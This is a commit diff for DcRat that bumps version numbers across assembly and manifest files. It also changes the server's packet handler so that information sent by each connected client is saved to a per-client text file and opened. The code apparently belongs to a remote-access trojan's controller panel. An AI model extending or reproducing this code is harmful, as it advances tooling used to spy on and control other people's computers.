[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: AssemblyVersion("1.0.1.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.1.0")]
|
||||
|
|
|
@ -32,5 +32,5 @@ using System.Runtime.InteropServices;
|
|||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: AssemblyVersion("1.0.1.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.1.0")]
|
||||
|
|
|
@ -31,5 +31,5 @@ using System.Runtime.InteropServices;
|
|||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: AssemblyVersion("1.0.1.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.1.0")]
|
||||
|
|
|
@ -20,7 +20,12 @@ namespace Server.Handle_Packet
|
|||
{
|
||||
try
|
||||
{
|
||||
MessageBox.Show(unpack_msgpack.ForcePathObject("InforMation").AsString);
|
||||
string tempPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + unpack_msgpack.ForcePathObject("ID").AsString + "\\Information");
|
||||
string fullPath = tempPath + $"\\Information.txt";
|
||||
if (!Directory.Exists(tempPath))
|
||||
Directory.CreateDirectory(tempPath);
|
||||
File.WriteAllText(fullPath, unpack_msgpack.ForcePathObject("InforMation").AsString);
|
||||
Process.Start("explorer.exe", fullPath);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
|
|
|
@ -32,5 +32,5 @@ using System.Runtime.InteropServices;
|
|||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: AssemblyVersion("1.0.1.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.1.0")]
|
||||
|
|
|
@ -19,7 +19,7 @@ namespace Server
|
|||
|
||||
public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12";
|
||||
public static X509Certificate2 ServerCertificate;
|
||||
public static readonly string Version = "DcRat 1.0.0";
|
||||
public static readonly string Version = "DcRat 1.0.1";
|
||||
public static object LockListviewClients = new object();
|
||||
public static object LockListviewLogs = new object();
|
||||
public static object LockListviewThumb = new object();
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1">
|
||||
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
|
||||
<assemblyIdentity version="1.0.1.0" name="MyApplication.app"/>
|
||||
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
|
||||
<security>
|
||||
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
|
||||
|
|
Loading…
Reference in New Issue